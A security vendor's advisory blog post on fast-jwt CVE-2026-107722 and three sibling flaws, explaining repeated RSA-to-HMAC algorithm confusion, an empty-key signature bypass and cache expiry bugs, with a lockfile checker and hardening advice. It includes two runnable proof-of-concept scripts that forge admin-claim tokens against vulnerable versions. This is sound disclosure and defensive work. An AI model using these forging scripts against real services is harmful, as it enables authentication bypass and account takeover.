Safeguard
Security•

fast-jwt CVE-2026-107722: The Algorithm Confusion Fix That Only Trimmed Whitespace

fast-jwt has now fixed the same RSA-to-HMAC algorithm confusion bug three times. CVE-2026-107722 (CVSS 9.8) shows why trimming whitespace was not enough, who is exposed through @fastify/jwt, and the settings that would have blocked every variant.

Safeguard Security Team
11 min read

fast-jwt, the JWT library underneath @fastify/jwt, has now fixed the same RSA-to-HMAC algorithm confusion bug three times. The April 2026 patch stripped whitespace before checking for a PEM header, so a key file that starts with a comment line, a stray control byte or a zero-width character still lets an attacker forge any token they like.

That bypass is CVE-2026-107722, rated CVSS 9.8, published on 8 October 2026 alongside three other fast-jwt advisories. This post is for Node.js engineers running Fastify or fast-jwt directly. By the end you will know which versions are exposed, how to check a lockfile in CI, and which configuration choices would have protected you from all three generations of the bug.

The short answer

CVE-2026-107722 affects fast-jwt 6.2.0 through 6.2.4 and is fixed in 6.3.0. A verifier configured with an RSA public key and no algorithms allowlist will accept an HS256 token whose HMAC secret is that same public key, provided the stored key has any non-whitespace bytes before -----BEGIN. The attacker needs only the public key, which is public by design. Upgrade to fast-jwt 6.3.4, the first release that also fixes the three sibling advisories, and set algorithms to match your key type. GitHub's advisory (GHSA-ww5h-9m49-7xx4) credits dc-infosec and EchoSkorJjj with the report.

Four advisories published on the same day

CVEGHSACVSSAffectedFixed inWhat breaks
CVE-2026-107722GHSA-ww5h-9m49-7xx49.86.2.0 to 6.2.46.3.0RSA-to-HMAC algorithm confusion via a non-whitespace prefix
CVE-2026-107720GHSA-8wpc-h4q6-8fxv7.4up to 6.3.06.3.1Unsigned tokens accepted when the key is '' or null and algorithms is set
CVE-2026-107721GHSA-687g-22h4-j4w45.9up to 6.2.46.3.0clockTolerance: Infinity disables exp and nbf checks
CVE-2026-107719GHSA-x937-hj6v-793p4.2up to 6.3.36.3.4Cached tokens with exp but no iat outlive their expiry

One detail matters for anyone triaging from the advisory date. The fixes shipped well before disclosure: 6.3.0 was published to npm on 28 July 2026, 6.3.1 on 30 July and 6.3.4 on 4 October. If your dependency bot has been merging fast-jwt minors, you may already be clean. If your lockfile has been frozen since spring, you are not.

How RSA-to-HMAC algorithm confusion works

JWT algorithm confusion is when a verifier lets the token's own alg header decide which verification routine runs, so an attacker can switch an asymmetric scheme (RS256) to a symmetric one (HS256) and sign with a key they already hold. With RS256 the server verifies using a public key. With HS256 the same bytes are used as a shared HMAC secret. If the library treats your RSA public key as an HMAC secret, anyone who has the public key can mint valid tokens.

Libraries defend against this by inspecting the key. If it looks like a PEM public key, only asymmetric algorithms are allowed. If it does not, it is treated as an HMAC secret. Everything depends on that "looks like" check being right. We covered the general class, including alg: none, in JWT algorithm confusion explained. The fast-jwt history shows what happens when the check is a string prefix match.

Three generations of the same bug

2023, CVE-2023-48223 (GHSA-c2ff-88x2-x9pg). The original report. The PEM matcher did not recognise PKCS#1 keys with a -----BEGIN RSA PUBLIC KEY----- header, so those keys fell through to the HMAC path. Fixed in 3.3.2.

April 2026, CVE-2026-34950 (GHSA-mvf2-f6gm-w987, CVSS 9.1). A key with leading whitespace defeated the detector, because the PEM matcher was anchored with ^. The fix in 6.2.0 added key.trim() before the regex test.

October 2026, CVE-2026-107722. String.prototype.trim() removes only the characters ECMAScript classifies as whitespace. The regex still demanded -----BEGIN at position 0. So the reporter's bypass matrix includes a # comment line, a NUL byte, an ANSI escape, a zero-width space, a pasted HTTP/1.1 200 OK header and a single period. All of them pushed the header off position 0, failed the anchored match and sent the RSA key down the HMAC path. The one prefix that was blocked was the byte order mark, because trim() happens to strip U+FEFF.

The 2026 patch fixed the reported input instead of the condition that caused it. "Whitespace before the header" was one way to make the detector fail. "Anything before the header" was the actual bug.

Reproducing it in twenty lines

This runs against a scratch install of fast-jwt@6.2.4. It models a realistic deployment: a public key stored with a comment line above it, as you would find in a YAML config, a secrets manager note or a mounted file someone annotated.

// confusion.js  (npm i fast-jwt@6.2.4, then: node confusion.js)
const { createHmac, generateKeyPairSync } = require('node:crypto')
const { createVerifier } = require('fast-jwt')

// The server's real RSA public key, stored with a comment line above it.
const { publicKey } = generateKeyPairSync('rsa', { modulusLength: 2048 })
const storedKey = '# prod signing key, rotated 2026-01\n' +
  publicKey.export({ type: 'spki', format: 'pem' })

// Attacker: knows the public key, signs an HS256 token with it as the secret.
const b64 = (o) => Buffer.from(JSON.stringify(o)).toString('base64url')
const unsigned = b64({ alg: 'HS256', typ: 'JWT' }) + '.' + b64({ sub: 'attacker', admin: true })
const forged = unsigned + '.' + createHmac('sha256', storedKey).update(unsigned).digest('base64url')

for (const opts of [{}, { algorithms: ['RS256'] }]) {
  try {
    const claims = createVerifier({ key: storedKey, ...opts })(forged)
    console.log(JSON.stringify(opts), 'ACCEPTED', claims)
  } catch (err) {
    console.log(JSON.stringify(opts), 'rejected:', err.code)
  }
}

Output on 6.2.4:

{} ACCEPTED { sub: 'attacker', admin: true }
{"algorithms":["RS256"]} rejected: FAST_JWT_INVALID_KEY

Output on 6.3.4:

{} rejected: FAST_JWT_INVALID_ALGORITHM
{"algorithms":["RS256"]} rejected: FAST_JWT_INVALID_ALGORITHM

Note the second line on 6.2.4. A verifier pinned to RS256 was never vulnerable, even on the broken release. Keep that in mind for the hardening section.

What the 6.3.0 fix does differently

The fix in commit d96bbc6 stops anchoring on position 0. A new locatePem() helper searches the whole key for the first -----BEGIN ...----- header and slices from there. Two behaviours follow from that.

  • A key with no PEM header anywhere is treated as an HMAC secret, as before.
  • A key that contains a PEM header the library does not recognise now throws Unsupported PEM public key instead of quietly falling back to HMAC.

The second change is the important one. The old code failed open: "I could not classify this, so it must be a secret." The new code fails closed. Both the public and private key detectors now go through the same helper, and the commit comment says plainly that drift between the two detectors is how this lineage kept coming back.

The empty-key bypass: when the best practice made it worse

CVE-2026-107720 is a different bug with a nasty twist. In fast-jwt up to 6.3.0, createVerifier skipped signature verification entirely when key was '' or null and algorithms was set to a non-empty list. An unsigned token (header.payload. with an empty signature) passed.

The everyday way to get an empty key is an unset environment variable:

// emptykey.js  (fast-jwt@6.2.4, JWT_SECRET unset)
const { createVerifier } = require('fast-jwt')
const b64 = (o) => Buffer.from(JSON.stringify(o)).toString('base64url')
const token = b64({ alg: 'HS256', typ: 'JWT' }) + '.' + b64({ sub: 'attacker', admin: true }) + '.'
const secret = process.env.JWT_SECRET || ''   // unset in this environment
try {
  console.log('ACCEPTED', createVerifier({ key: secret, algorithms: ['HS256'] })(token))
} catch (err) {
  console.log('rejected:', err.code)
}

On 6.2.4 this prints ACCEPTED { sub: 'attacker', admin: true }. On 6.3.4 it prints rejected: FAST_JWT_INVALID_KEY. As the advisory points out, leaving algorithms unset made the same misconfiguration fail closed. Setting the allowlist, which every JWT hardening guide recommends, is what turned a missing secret into a full authentication bypass.

The two expiry bugs, briefly

CVE-2026-107721. clockTolerance validation rejected negative numbers but accepted Infinity. Infinite tolerance makes every exp and nbf comparison pass, and the verifier cache stores those results with infinite lifetime. It needs a developer to set Infinity, usually as a "disable expiry" sentinel in tests that leaks into production config.

CVE-2026-107719. With cache: true, the cache derived its expiry deadline from exp only when the token also had an iat claim. A token with exp and no iat was cached for the full cacheTTL instead, and the cache lookup returns before expiry is rechecked. The attacker cannot forge anything here, but a stolen or expired token keeps working until the cache entry ages out.

Are you exposed?

Start with what is actually installed, including transitive copies:

npm ls fast-jwt --all

@fastify/jwt 10.2.4 declares fast-jwt: ^6.2.4, so a fresh install resolves to 6.3.4. An older lockfile can still pin 6.2.x underneath it. That is the usual shape of a transitive dependency vulnerability: your package.json looks fine and the lockfile disagrees.

To fail a build on it, this script reads package-lock.json (lockfile v2 or v3) and exits non-zero for any fast-jwt below 6.3.4, wherever it sits in the tree. It has no dependencies.

// check-fast-jwt.mjs
// Usage: node check-fast-jwt.mjs path/to/package-lock.json
import { readFileSync } from 'node:fs'

const MIN = [6, 3, 4] // first release with all four October 2026 fixes
const lock = JSON.parse(readFileSync(process.argv[2] ?? 'package-lock.json', 'utf8'))
const older = (v) => {
  const p = v.split('-')[0].split('.').map(Number)
  for (let i = 0; i < 3; i++) if (p[i] !== MIN[i]) return p[i] < MIN[i]
  return false
}

let bad = 0
for (const [path, meta] of Object.entries(lock.packages ?? {})) {
  if (path.endsWith('node_modules/fast-jwt') && older(meta.version)) {
    console.log(`fast-jwt ${meta.version} at ${path}`)
    bad++
  }
}
if (bad) { console.error(`${bad} vulnerable fast-jwt install(s), need >= ${MIN.join('.')}`); process.exit(1) }
console.log('fast-jwt OK')

The fix is npm update fast-jwt, then commit the regenerated lockfile and rerun the check. For more on keeping lockfiles honest, see npm lockfile security best practices.

Hardening that survives the next variant

The upgrade closes these four advisories. The settings below would have closed all three generations of the confusion bug before anyone reported them, and they apply to any JWT library.

1. Pin algorithms to your key type. @fastify/jwt accepts every algorithm by default unless you say otherwise.

// Fastify with an RSA key pair
fastify.register(require('@fastify/jwt'), {
  secret: { private: privatePem, public: publicPem },
  sign: { algorithm: 'RS256' },
  verify: { algorithms: ['RS256'] }
})

Our repro above showed algorithms: ['RS256'] rejecting the forged token even on 6.2.4.

2. Normalise PEM keys through Node's crypto at boot. Node's PEM parser tolerates a preamble, so parsing and re-exporting the key hands the JWT library a canonical PEM with nothing before the header. We ran this against 6.2.4 with the commented key from the repro, and the forged token was rejected.

const { createPublicKey } = require('node:crypto')
const publicPem = createPublicKey(rawKeyFromConfig).export({ type: 'spki', format: 'pem' })

It also fails loudly at startup if the stored key is corrupt, which beats finding out from a forged token.

3. Refuse to boot with an empty secret. Never write process.env.JWT_SECRET || ''.

const secret = process.env.JWT_SECRET
if (!secret || secret.length < 32) throw new Error('JWT_SECRET is missing or too short')

4. Keep clockTolerance small and finite. A few seconds covers clock skew. If a test needs non-expiring tokens, sign them with a long exp rather than switching expiry off in the verifier.

5. If you enable the verifier cache, issue tokens with iat. fast-jwt's signer adds iat unless you pass noTimestamp: true, but tokens from other issuers may not carry it. 6.3.4 fixes the cache path regardless.

How bad is this really?

It is fair to ask whether a 9.8 is overstated. CVE-2026-107722 needs two things at once: a verifier with no algorithms allowlist, and a stored key with junk before the PEM header. Many deployments have neither. The empty-key bug needs a missing secret that nobody noticed. And the fixes have been on npm for months.

The reason to act anyway is the default. @fastify/jwt accepts all algorithms unless configured, so the first precondition is the out-of-the-box state, and key files with comment lines or copy-paste artefacts are common in real config stores. When the attacker's only requirement is your public key, "unlikely configuration" is not much comfort.

The pattern to take away

Every generation of this bug came from classifying key material by what the string starts with, then failing open when the check did not match. The 6.3.0 fix searches more carefully and, more importantly, throws when it sees a PEM header it does not understand. If you maintain code that decides "is this a secret or a public key" from a string, that is the change to copy.

For applications, the lesson is shorter. Decide the algorithm yourself, at configuration time, and never let the token or a heuristic decide it for you. Then make the lockfile check routine across every service, not just the one that made the news. If you want that check running continuously across repositories, including dependencies that arrive transitively through frameworks like Fastify, that is what Safeguard SCA does.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.

Self-healing security runs on Safeguard.

Your first fix PR is minutes away.

No sales call required, even your agent can complete the purchase over MCP.